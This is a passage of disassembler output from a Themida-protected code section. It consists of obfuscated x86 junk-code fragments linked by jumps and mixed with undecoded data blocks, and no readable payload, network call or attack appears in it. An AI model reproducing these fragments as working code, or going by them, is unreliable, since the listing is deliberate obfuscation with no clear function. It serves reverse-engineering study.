		dd 0BE56E389h, 4, 42E4C381h, 0AE90C94h,	55FFFFA6h, 42474FFh
		dd 24048F5Dh, 34FF5255h, 0AAE95D24h, 1FFFFB3h, 0A758E9C1h
		dd 0C145FFFFh, 0F58102EDh, 1145FE72h, 565DE829h, 796D73BEh
		dd 3594E904h, 0C3830000h, 3065E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E49A6:				; CODE XREF: Themida_:005E1064j
		and	eax, edi
		jmp	loc_5E2BDF
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 1000000h, 0EC8359CDh, 0D1EEE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E49BE:				; CODE XREF: Themida_:005E41FBj
		add	esp, 4
		push	eax
		push	ecx
		push	edi
		mov	edi, 702B7B3Ah
		sub	edi, 1CD947B2h
		mov	ecx, edi
		jmp	loc_5DF489
; ---------------------------------------------------------------------------
		dw 1487h
		dd 0B6525C24h, 13C680D7h, 285AF028h, 66EA04C8h,	0F1ADE959h
		dd 0B652FFFFh, 0DF6804Bh, 175EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5E49F9:				; CODE XREF: Themida_:005E725Ej
		add	esp, 4
		jmp	loc_5E6641
; ---------------------------------------------------------------------------
		dd 96C6805Ch, 805AF328h, 0C300EFC3h, 236568h, 240C8900h
		dd 0FFA3F4E9h, 2434FFFFh, 4C48359h, 5661BE56h, 0D6F70BACh
		dd 3701E681h, 0E6814F8Ch, 6D97276Dh, 940E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E4A3D:				; CODE XREF: Themida_:005E87F8j
		shl	dh, 8
		sub	dh, 0BEh
		jmp	loc_5E6AF9
; ---------------------------------------------------------------------------
		dd 0D2511868h, 302FE92Fh, 48B0000h, 0E891E924h,	0FE28FFFFh
		dd 0F9B5515Bh, 0E9C5C580h, 0FFFFCA06h, 0D9285866h, 363DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5E4A71:				; CODE XREF: Themida_:005E419Dj
		inc	esi
		sub	esi, 81332C51h
		mov	ebx, esi
		mov	esi, [esp]
		jmp	loc_5E5CF5
; ---------------------------------------------------------------------------


loc_5E4A82:				; CODE XREF: Themida_:005E3478j
		jmp	loc_5DDBBE
; ---------------------------------------------------------------------------
		db 8Bh
		dd 34FF2424h, 0E9555824h, 0D73h, 4055854h, 83000000h, 0EE904C0h
		dd 66000001h, 5024048Bh, 4B73E9h, 241C8700h, 75E9505Ch
		dd 66FFFFC2h, 3065B753h, 0F65B66FAh, 98E280DAh,	8807EA80h
		dd 0E9805AD1h, 0E9C83045h, 2C3Bh, 0DF89C389h, 81241C8Bh
		dd 4C4h, 55DD6800h, 0D6E90000h,	1FFFFE0h, 0C79EE9DEh, 4BBFFFFh
		dd 1000000h, 241C8BDDh,	5104C483h, 4B9h, 59CD2900h, 5C242C87h
		dd 0FFEB1BE9h, 242C89FFh, 1490E9h, 0BE565C00h, 29FD4A64h
		dd 7FD3C681h, 0EEC15251h, 4EC8302h, 0E9241489h,	11CFh
		dd 4EC81h, 4890000h, 0A7F4E924h, 0BB53FFFFh, 2,	339A6857h
		dd 295F55E4h, 9E0BE9FAh, 0F381FFFFh, 14BB62EBh,	0FF97BCE9h
		dd 0C8B66FFh, 58545024h, 405h, 4EC8100h, 0E9000000h, 0FFFFF1A3h
		dd 2D02E0C1h, 0D9107021h, 62E9C501h, 89000043h,	243C8BFAh
		dd 5304C483h, 0BD55E389h, 2D7A794Fh, 0E902E5C1h, 0FFFFA6D9h
		dd 41C18159h, 1D291F1h,	240C8BCFh, 0FFF4C7E9h, 240487FFh
		dd 0E9C3315Ch, 0FFFFED72h, 9CC83B66h, 0FF8FF9E9h, 5EF101FFh
		dd 0A56E9h, 4C28100h, 83000000h, 148704C2h, 0FF505C24h
		dd 58042474h, 8B24048Fh, 0CD22424h, 0CFE99C24h,	80FFFF8Fh
		dd 23E97EC4h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E4BF7:				; CODE XREF: Themida_:005DE301j
		push	small 631Fh
		mov	[esp], cx
		push	edx
		push	eax
		mov	al, 0CFh
		push	ecx
		jmp	loc_5E4CE0
; ---------------------------------------------------------------------------
		db 5Ch,	87h, 4
		dd 4895C24h, 8FA8E924h,	5658FFFFh, 9B92E954h, 3487FFFFh
		dd 0E9575C24h, 2DCCh, 8104C483h, 4C5h, 339C6800h, 67E90000h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E4C3B:				; CODE XREF: Themida_:005E0B9Cj
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5E07A7
; ---------------------------------------------------------------------------
		dd 2BBh, 0E9DA2900h, 1A7Eh
; ---------------------------------------------------------------------------


loc_5E4C5C:				; CODE XREF: Themida_:005E5CE8j
		push	eax
		jmp	loc_5E189D
; ---------------------------------------------------------------------------
		dw 0D889h
		dd 0FFA78EE9h, 4EC81FFh, 89000000h, 4BF243Ch, 2D000000h
		dd 45D53A62h, 0FFBB56E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E4C81:				; CODE XREF: Themida_:005E75DEj
		mov	ebp, 0FA96202h
		or	ecx, ebp
		pop	ebp
		dec	ecx
		sub	ecx, 57236772h
		add	edx, ecx
		jmp	loc_5E3100
; ---------------------------------------------------------------------------


loc_5E4C97:				; CODE XREF: Themida_:005E6280j
		not	ecx
		add	ecx, 0D7389C43h
		sub	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 186057C1h
		xor	edi, edx
		xor	edx, edi
		xor	edi, edx
		xchg	edi, edx
		not	edi
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		jmp	loc_5E9A79
; ---------------------------------------------------------------------------


loc_5E4CE0:				; CODE XREF: Themida_:005E4C04j
		mov	cl, al
		mov	dh, cl
		pop	ecx
		pop	eax
		jmp	loc_5E1965
; ---------------------------------------------------------------------------
		db 81h
		dd 7A1743E3h, 69C38170h, 0E96BA16Ch, 0FFFFB519h
; ---------------------------------------------------------------------------


loc_5E4CFC:				; CODE XREF: Themida_:005E567Aj
		mov	edx, 14785883h
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4


loc_5E4D0C:				; CODE XREF: Themida_:005E28BDj
					; Themida_:005E2BA3j
		push	ebx
		push	edx
		jmp	loc_5E21EF
; ---------------------------------------------------------------------------
		db 81h
		dd 9442E4EBh, 24348B0Ch, 0FFAC0BE9h, 4C483FFh, 3302C683h
		dd 34312434h, 24343324h, 0FFF868E9h, 66ACBAFFh,	0C28175AFh
		dd 8A509958h, 89D68956h, 15A5EF3h, 2434FFDFh, 4C4815Bh
		dd 81000000h, 2C7h, 243C8700h, 0B30F665Ch, 0E99C2404h
		dd 0FFFF8E56h, 0FE15ED81h, 0EE01D6E3h, 1DDFE9h,	243C8700h
		dd 0AE89E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E4D7E:				; CODE XREF: Themida_:005E09D1j
		shl	eax, 5
		and	eax, 440E70A7h
		add	eax, 0FBFBEFE4h
		add	esi, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5E9ACF
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 0FC00B00h, 34F684h, 48B5300h, 3CE95624h, 1FFFF9Ch, 0BDE958C5h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E4DB3:				; CODE XREF: Themida_:005E8F4Fj
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		jmp	loc_5E215F
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4C48124h, 68000000h,	6F7Bh, 0E9243C89h, 10FAh, 4238E95Bh
		dd 29580000h, 0ED8158C5h, 6FCE3512h, 727FC581h,	1AE975E2h
		dd 83FFFFD6h, 0F68004C4h, 8BF0300Ch, 89522414h,	4C281E2h
		dd 0E9000000h, 182Bh, 18C68159h, 294FF73Ah, 18EE81FEh
		dd 5F4FF73Ah, 31243433h, 0BBE92434h, 81FFFF9Bh,	0A03FC4E1h
		dd 37B4E90Bh, 0C870000h, 30FF5C24h, 0FF8D85E9h,	0C8E95CFFh
		dd 6600002Fh, 0E99CC885h, 0FFFF8D76h
; ---------------------------------------------------------------------------


loc_5E4E48:				; CODE XREF: Themida_:005E3418j
		mov	esi, esp
		push	ebp
		jmp	loc_5E2C38
; ---------------------------------------------------------------------------
		dd 0EDC1D5F7h, 0EAFCE904h, 0C483FFFFh, 8D5CE904h, 0BA52FFFFh
		dd 4EA900C7h, 0C1DC281h, 0D589B69Ah, 0E9EA295Ah, 1FA3h
		dd 797168h, 24248900h, 4240481h, 5F000000h, 45E968h, 47E2E900h
		dd 74FF0000h, 8F5B0424h, 8BE92404h, 4F00000Eh, 0DFF7D7F7h
		dd 0FFA858E9h, 240483FFh, 7CE95E04h, 81FFFFADh,	0E5A93FEBh
		dd 5BDE0182h, 241C8756h, 1C87D3F7h, 24348B24h, 4C481h
		dd 0E6C10000h, 9EE94E02h, 53FFFF92h, 8648EABBh,	5753515Fh
		dd 8C76FCBFh, 11E7816Dh, 0C1252457h, 0EF8108EFh, 0FD3587E4h
		dd 895FFB89h, 94E0E9D9h, 2548FFFFh, 5331D80h, 14F75393h
		dd 94E95B24h, 8000003Bh, 0F788EEEEh, 0E924148Bh, 0FFFFBCFAh
; ---------------------------------------------------------------------------


loc_5E4F1C:				; CODE XREF: Themida_:005E216Bj
		sub	ebx, 4
		jmp	loc_5DF5AD
; ---------------------------------------------------------------------------
		db 58h
		dd 0E2030D05h, 0E32CE942h, 4BEFFFFh, 89000000h,	0EF815EF1h
		dd 235358C6h, 3748E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E4F45:				; CODE XREF: Themida_:005E3FB6j
		mov	[esp], ebx
		push	eax
		mov	eax, 2D77524Eh
		jmp	loc_5E2DCE
; ---------------------------------------------------------------------------
		db 45h
		dd 4875ED81h, 0E8291449h, 243C8B5Dh, 504C483h, 75B305B2h
		dd 0FFA83EE9h, 0E4F381FFh, 1154153h, 3C875BDFh,	3D80E924h
		dd 3BE90000h, 66FFFF8Ch, 9C240CD3h, 0FF8C31E9h,	242489FFh
		dd 4BE56h, 74010000h, 8F5E0424h, 0BD552404h, 4,	4246C01h
		dd 9E95A5Dh, 0BEFFFFE1h, 4, 0FFB022E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E4FB9:				; CODE XREF: Themida_:005E9D04j
		push	dword ptr [edi+eax*4]
		push	edx
		push	ecx
		push	ebx
		jmp	loc_5E396A
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7830000h, 243C8702h, 0FFCFB9E9h, 24D468FFh
		dd 2C890000h, 57E58924h, 8FB85055h, 8964DD34h, 0AC35E9C5h
		dd 8966FFFFh, 50662414h, 8BC4E99Ch, 3C31FFFFh, 243C3324h
		dd 2424895Ch, 4240483h,	0B1C9E959h, 0E983FFFFh,	687C6802h
		dd 94E90000h, 5E000010h, 4EC81h, 34890000h, 59AE6824h
		dd 4890000h, 4EC8324h, 0BE243489h, 2A957ABCh, 0A99910B8h
		dd 2A902D9Eh, 3F051DC7h, 2914896Fh, 6F3F2DF0h, 90051489h
		dd 0E91DC72Ah, 0FFFFECA6h, 0FF02C681h, 0F389FFFBh, 0FFA9C3E9h
		dd 5BD931FFh, 697CF181h, 0E9512A64h, 0FFFFD955h, 0FF2434FFh
		dd 68582434h, 0B96h, 89243489h,	5ABB53E6h, 81446E48h, 0D1AADE3h
		dd 44E9504Bh, 5800001Ch, 565F5457h, 0BD0C6C68h,	0B8505E1Bh
		dd 4BC40EDFh, 502E0C1h,	1C01DB33h, 0FF950DE9h, 97C981FFh
		dd 816E6C02h, 131794E9h, 0DB95140h, 81754939h, 6A3BD5C1h
		dd 34F1810Fh, 8123BE1Ch, 0CB3ABAE1h, 4091E969h,	40BE0000h
		dd 1920E11h, 0EFC15EF7h, 5E7C106h, 0FFFDAEE9h, 241489FFh
		dd 4246B8BAh, 2D83E91Ah, 0BBE90000h, 57FFFF8Ah,	390137BFh
		dd 9B98E96Eh, 34FFFFFFh, 24048B24h, 4AB0E9h, 40500h, 0BB530000h
		dd 43657AADh, 0DE4BE56h, 0F3214422h, 0FFAD63E9h, 74C381FFh
		dd 812F5353h, 907674C3h, 4954E942h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E5142:				; CODE XREF: Themida_:005E961Bj
		pop	eax
		push	ebp
		push	eax
		pop	ebp
		pop	eax
		jmp	loc_5E7A4E
; ---------------------------------------------------------------------------


loc_5E514C:				; CODE XREF: Themida_:005E33EFj
		add	esp, 4
		xor	ebp, 960DE747h
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	esi
		push	edx
		push	esi
		mov	esi, 78F85949h
		jmp	loc_5DF76E
; ---------------------------------------------------------------------------
		db 58h,	1, 0D9h
		dd 1AE4E95Bh, 0C4830000h, 0FD5DE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E517A:				; CODE XREF: Themida_:005E9C77j
		add	eax, edx
		pop	edx
		add	eax, 5F1A143Dh
		sub	eax, ebx
		push	ebx
		mov	ebx, 1D701E5Bh
		add	ebx, 41A9F5E2h
		sub	eax, ebx
		jmp	loc_5E4036
; ---------------------------------------------------------------------------


loc_5E5197:				; CODE XREF: Themida_:005E2C07j
		push	dx
		mov	dh, 7Ah
		sub	bl, dh
		pop	dx
		add	bl, 2Ch
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	2BB1h
		mov	[esp], edx
		mov	dh, al
		jmp	loc_5DF29C
; ---------------------------------------------------------------------------
		dd 6DE9F321h, 83FFFFA7h, 0C8904ECh, 0CFC2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E51D6:				; CODE XREF: Themida_:005DF6C7j
		mov	[esp], esi
		mov	esi, 800000h
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_5E58AD
; ---------------------------------------------------------------------------
		dd 4EC81h, 0EE90000h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E51F3:				; CODE XREF: Themida_:005E5690j
		add	eax, 0FFFFFFFFh
		xor	eax, 15185E44h
		add	eax, 0D559DE47h
		add	edi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5DECE9
; ---------------------------------------------------------------------------


loc_5E5213:				; CODE XREF: Themida_:005E9821j
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5E30F5
; ---------------------------------------------------------------------------
		db 68h,	4, 0
		dd 0E9590000h, 0FFFFE7DDh
; ---------------------------------------------------------------------------


loc_5E5228:				; CODE XREF: Themida_:005E2270j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5E2AF6
; ---------------------------------------------------------------------------


loc_5E5248:				; CODE XREF: Themida_:005DF832j
		shr	eax, 12h
		xor	eax, ecx
		push	1419h
		mov	[esp], eax
		xor	[esp], esi
		jmp	loc_5E43A9
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd offset dword_455248+2D20h
		dd 1433E900h, 0EF870000h, 31EF314Dh, 4FEF31FDh,	19B7EF81h
		dd 32E929B2h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E527F:				; CODE XREF: Themida_:005E8CD2j
		pop	ebx
		push	ebx
		push	edx
		mov	edx, 0C16364Eh
		mov	ebx, 0C16367Eh
		jmp	loc_5E6F9E
; ---------------------------------------------------------------------------


loc_5E5291:				; CODE XREF: Themida_:005E18A5j
		neg	esi
		sub	esi, 9E20C3FBh
		jmp	loc_5DEA01
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 2AF3069Eh, 0FFBD39E9h, 0DBBB2DFFh, 0EE81E977h, 57CB3731h
		dd 0C681C601h, 57CB3731h, 0B5E95058h, 87FFFFA3h, 805C243Ch
		dd 0CAFE81CAh, 0E904E2C0h, 0FFFFDB73h, 5C243C87h, 0FFA40CE9h
		dd 0E932FFFFh, 0FFFFA523h, 4C681h, 0EE830000h, 24348704h
		dd 3A91E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E52F6:				; CODE XREF: Themida_:005E6DD8j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5E5355
; ---------------------------------------------------------------------------


loc_5E5307:				; CODE XREF: Themida_:005E6166j
		sub	bl, 71h
		sub	bl, 0E2h
		sub	bl, dl
		add	bl, 0E2h
		jmp	loc_5E9CF4
; ---------------------------------------------------------------------------
		db 81h
		dd 0FFDBC2C7h, 5FFE89FFh, 5B6FBD55h, 0E82950D6h, 5F0015Dh
		dd 50D65B6Fh, 5224348Bh, 92E9E289h, 30FFFFF8h, 241C8BD8h
		dd 8904EC83h, 0E0892404h, 4BF57h, 0F8010000h, 44B2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E5355:				; CODE XREF: Themida_:005E5302j
		sub	[edi+24h], esi
		pop	esi


loc_5E5359:				; CODE XREF: Themida_:005E6820j
		push	501Eh
		mov	[esp], edx
		push	ebx
		jmp	loc_5E94F4
; ---------------------------------------------------------------------------
		db 66h
		dd 81240C8Bh, 4ECh, 243C8900h, 2434FF54h, 0FFCFBAE9h, 0FCEE81FFh
		dd 0E9440020h, 0FFFFF83Dh, 4C781h, 0EF810000h, 4, 2474FF57h
		dd 48F5F04h, 24248B24h,	23BEE9h, 81C32900h, 32697FC3h
		dd 49EB817Eh, 50196264h, 0FFE93EE9h, 0BB5359FFh, 3B6E3071h
		dd 58A6B850h, 0C8E90774h, 5EFFFFBCh, 5058C301h,	26852h
		dd 895A0000h, 0C3015AD0h, 241C3358h, 33241C31h,	0D5E9241Ch
		dd 0BBFFFFE3h, 4, 99E9DF01h, 29000044h,	0A4E95EF2h, 31FFFF8Ch
		dd 31F731FEh, 87DFF7FEh, 77EE81FEh, 814FAC01h, 0F5D54BF6h
		dd 201E0544h, 0F00116E7h, 0E7201E2Dh, 56525E16h, 0FF87B4E9h
		dd 4FF181FFh, 41114E69h, 240CFF51h, 0FFF767E9h,	0D831ADFFh
		dd 0FFA128E9h, 5FF831FFh, 0FFD70AE9h, 5AD109FFh, 7DA1F181h
		dd 0CA013FCDh, 0C942E959h, 335BFFFFh, 0DFE9242Ch
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E5463:				; CODE XREF: Themida_:005DEA0Aj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5E8D43
; ---------------------------------------------------------------------------
		dd 46856h, 82E90000h, 66FFFF9Ch, 66241489h, 37E99C50h
		dd 81FFFF87h, 6E0A77F1h, 6CE98146h, 81627522h, 133CC5F1h
		dd 0D1F18170h, 29C5A8C1h, 0D50159CDh, 584E9h, 30CAFE00h
		dd 94BDE9CAh, 0C483FFFFh, 4EC8304h, 0BF243C89h,	4, 815FFA01h
		dd 2C2h, 9A88E900h, 6858FFFFh, 745Ah, 0BE243489h, 472F6624h
		dd 0C681D6F7h, 1639CC34h, 895EF031h, 24048BC3h,	4C481h
		dd 0DE290000h, 83241C8Bh, 0F02104C4h, 8324348Bh, 77FF04C4h
		dd 1ABA521Ch, 8152200Eh, 0C504246Ch, 0E900FC3Ah, 1EDCh
		dd 0E8280EB5h, 61E56859h, 0C890000h, 0FEA1B124h, 0DEC180C1h
		dd 28F9F180h, 70E959C8h, 66FFFFE0h, 6824048Bh, 76EAh, 54243489h
		dd 4C6815Eh, 0E9000000h, 0FFFFF3B1h, 0C5C9F681h, 0F589062Ah
		dd 0CD81455Eh, 690C61E6h, 0F704EDC1h, 6CC581D5h, 891DE0FDh
		dd 0E3D15DEBh, 13E668h,	240C8900h, 202EE4B9h, 5BE98170h
		dd 0E96A27CBh, 0FFFFE28Eh, 0B035E951h, 0F681FFFFh, 52E004EDh
		dd 0C4CE8146h, 813B247Ah, 0F90D1CEEh, 5EF20158h, 815A5D52h
		dd 0C92586C5h, 0ADE58142h, 0E919A165h, 0FFFFA0AAh, 38E1C981h
		dd 0C1817B13h, 304A48BDh, 439FEF81h, 0CF291C97h, 439FC781h
		dd 0C8B1C97h, 4C48324h,	0FFB09EE9h, 2DCF81FFh, 0C13A2A57h
		dd 0F78103EFh, 1FF77EFBh, 815FF901h, 4E9h, 240C8700h, 8924248Bh
		dd 34FF241Ch, 24048B24h, 4C481h, 0EC830000h, 0C73CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E5612:				; CODE XREF: Themida_:005E64D3j
		sub	ecx, esi
		pop	esi
		push	eax
		jmp	loc_5E6DEF
; ---------------------------------------------------------------------------
		db 5Bh
		dd 37E9CAFEh, 68FFFFC3h, 0C98h,	0BE243489h, 2, 6C13BB53h
		dd 0D92962E2h, 81F1295Bh, 0E26C13C1h, 0C875E62h, 89665C24h
		dd 0F66240Ch, 5166C8B6h, 99CDE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E5656:				; CODE XREF: Themida_:005E117Aj
		mov	ecx, 2F84102Bh
		jmp	loc_5E8796
; ---------------------------------------------------------------------------
		dd 7984CD81h, 0CD813275h, 59CC716Dh, 35D6E581h,	68E918ADh
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5E5677:				; CODE XREF: Themida_:005E2938j
		add	esp, 4
		jmp	loc_5E4CFC
; ---------------------------------------------------------------------------


loc_5E567F:				; CODE XREF: Themida_:005DE3D1j
		mov	[esp], edi
		jmp	loc_5E7D53
; ---------------------------------------------------------------------------


loc_5E5687:				; CODE XREF: Themida_:005DE2BFj
		push	ecx
		mov	ecx, 3E9C77D2h
		or	eax, ecx
		pop	ecx
		jmp	loc_5E51F3
; ---------------------------------------------------------------------------
		db 0E9h, 24h, 85h
		dd 88BAFFFFh, 42194139h, 3B4C281h, 77E92D72h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5E56AB:				; CODE XREF: Themida_:005E3DDCj
		mov	ebp, edx
		mov	edi, ebp
		pop	ebp
		push	1FE0h
		mov	[esp], esi
		mov	esi, edi
		mov	eax, esi
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5E0A85
; ---------------------------------------------------------------------------
		db 57h,	0F7h, 14h
		dd 3315E924h, 882D0000h, 55684364h, 296FE956h, 68550000h
		dd 30D3h, 0E9242489h, 0FFFFBA48h, 24048B66h, 34FF5457h
		dd 0C08E924h, 48F0000h,	0B8B7E924h, 0C601FFFFh,	0FFEAF3E9h
		dd 0E9D589FFh, 3547h
; ---------------------------------------------------------------------------


loc_5E5714:				; CODE XREF: Themida_:005E284Bj
		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_5E7137
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 81240C89h, 4ECh, 24148900h, 0BBE9DA89h, 0FFFFFFE8h
		dd 669D1C77h, 24041058h, 847CE99Ch, 6857FFFFh, 265B50FDh
		dd 0CAE7815Fh, 0E9692934h, 0FFFFD076h, 3ACE9ACh, 0FD890000h
		dd 81243C8Bh, 4C4h, 0B8505900h,	2865CCBAh, 48BC289h, 0E9545324h
		dd 0FFFFAF5Eh, 68DBE981h, 335A6998h, 0C31240Ch,	0CCEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E578A:				; CODE XREF: Themida_:005E1167j
		push	edx
		mov	dl, 53h
		mov	bl, dl
		jmp	loc_5DEE08
; ---------------------------------------------------------------------------
		dd 34BFEF81h, 81586F2Ch, 0DA321CC7h, 8D9AE96Ah,	1388FFFFh
		dd 5B2434FFh, 81E18951h, 4C1h, 0E966E900h, 34FFFFFFh, 0C3E95B24h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E57C3:				; CODE XREF: Themida_:005E2283j
		pop	esp
		mov	[esp], eax
		mov	eax, 1FF449F2h
		not	eax
		shl	eax, 1
		push	ecx
		jmp	loc_5E7A11
; ---------------------------------------------------------------------------


loc_5E57D6:				; CODE XREF: Themida_:005DFE59j
		pop	ebp
		and	ecx, ebx
		pop	ebx
		shr	ecx, 7
		sub	esp, 4
		mov	[esp], edi
		push	186Fh
		mov	[esp], ebx
		xor	dword ptr [esp], 3A324019h
		pop	edi
		push	esi
		jmp	loc_5E205E
; ---------------------------------------------------------------------------
		dd 8524248Bh, 0B7E99CC8h, 89FFFF83h, 8BB850E5h,	4007741Dh
		dd 0FFEB78E9h, 273DBEFFh, 0F001068Bh, 71EE2D5Eh, 0EC81218Eh
		dd 4, 0E9243489h, 0FFFFB27Eh, 243CD366h, 8384E99Ch, 0C15FFFFFh
		dd 0F78107EFh, 132219h,	7F286905h, 2DF8013Bh, 3B7F2869h
		dd 2404875Fh, 0E924248Bh, 0FFFF8362h, 26F1C981h, 0E9C12C9Ch
		dd 0D5E94103h, 89FFFFA3h, 0E189240Ch, 31BF5753h, 0E91E9D18h
		dd 0FFFFD86Ah, 0BAE9D629h, 66FFFFEAh, 53240C89h, 0C380AAB3h
		dd 4EBC070h, 0FFD27FE9h, 0FF505DFFh, 8B042474h,	0C4812404h
		dd 4, 5C24048Fh, 0FF9E2BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E58AD:				; CODE XREF: Themida_:005E51E3j
		push	ebx
		mov	ebx, esp
		push	0D0Ah
		mov	[esp], ebp
		mov	ebp, 4
		sub	ebx, 295F18BAh
		add	ebx, 1153020h
		add	ebx, ebp
		sub	ebx, 1153020h
		add	ebx, 295F18BAh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5E31C3
; ---------------------------------------------------------------------------
		dw 8059h
		dd 0CBFEEBF3h, 39BD68h,	910DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E5902:				; CODE XREF: Themida_:005E3811j
		mov	[esp], ecx
		push	1943h
		mov	[esp], edi
		mov	edi, 4F816571h
		mov	ecx, 0B07E9A90h
		push	edi
		mov	edi, 58FB45E0h
		jmp	loc_5E776B
; ---------------------------------------------------------------------------
		dw 852Dh
		dd 0E9640813h, 420Ah, 55F4F181h, 0CD310DCBh, 0E9E93159h
		dd 5ECh, 5F2434FFh, 4C481h, 0E1C10000h,	6EE18106h, 0E959893Ah
		dd 2A89h, 6624248Bh
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 494E6D31h
		sub	esi, 494E6D2Dh
		add	ebp, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 746F42B7h
		dec	ecx
		jmp	loc_5DEC36
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 876FE924h, 0CE29FFFFh, 0DB685659h, 0E900000Fh, 0FFFF8EDEh
		dd 0E951CA30h, 0FFFFDDBCh, 5C24048Fh, 24048B66h, 0FFE18FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E59A9:				; CODE XREF: Themida_:005E2211j
		pop	ebx
		push	esi
		mov	esi, 256750Bh
		jmp	loc_5E1EBB
; ---------------------------------------------------------------------------


loc_5E59B5:				; CODE XREF: Themida_:005DE7F8j
		push	ebp
		mov	ebp, esp
		jmp	loc_5DE7CC
; ---------------------------------------------------------------------------


loc_5E59BD:				; CODE XREF: Themida_:005DF72Dj
		push	ebp
		jmp	loc_5E7FC6
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 99D5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E59CE:				; CODE XREF: Themida_:005E8C04j
		add	ebp, ecx
		add	ebp, 781543A7h
		jmp	loc_5DFF32
; ---------------------------------------------------------------------------
		db 5Eh
		dd 184DC781h, 0CF016AC7h, 4DA368h, 242C8900h, 356482BDh
		dd 66F58105h, 81531239h, 4ECh, 964FE900h, 895EFFFFh, 0A1F4E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E5A0A:				; CODE XREF: Themida_:005E664Bj
		mov	[esp], esi
		push	esp
		jmp	loc_5E9A90
; ---------------------------------------------------------------------------


loc_5E5A13:				; CODE XREF: Themida_:005E5F48j
		add	esi, ecx
		pop	ecx
		push	ebp
		mov	ebp, 7BEF73DCh
		add	ebp, 84108C28h
		add	esi, ebp
		pop	ebp
		xor	esi, [esp]
		jmp	loc_5DF21E
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 22h
		dd 5A513E23h, 2474FF55h, 5B2E904h, 895C0000h, 77E959CAh
		dd 89FFFF81h, 4C581E5h,	83000000h, 2C8704C5h, 2E8FE924h
		dd 81580000h, 4C7h, 243C8700h, 2C6835Ch, 31243433h, 34332434h
		dd 24248B24h, 0F66F1F6h, 2068CCB6h, 8900001Eh, 0C868240Ch
		dd 0E9000075h, 0FFFFA441h, 2C581h, 2C870000h, 24D35C24h
		dd 1FE99C24h, 87FFFF81h, 665C243Ch, 8324048Fh, 896602ECh
		dd 55662414h, 5D665A66h, 66FD8766h, 73E9D7F7h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E5ABF:				; CODE XREF: Themida_:005E7B46j
		pop	esi
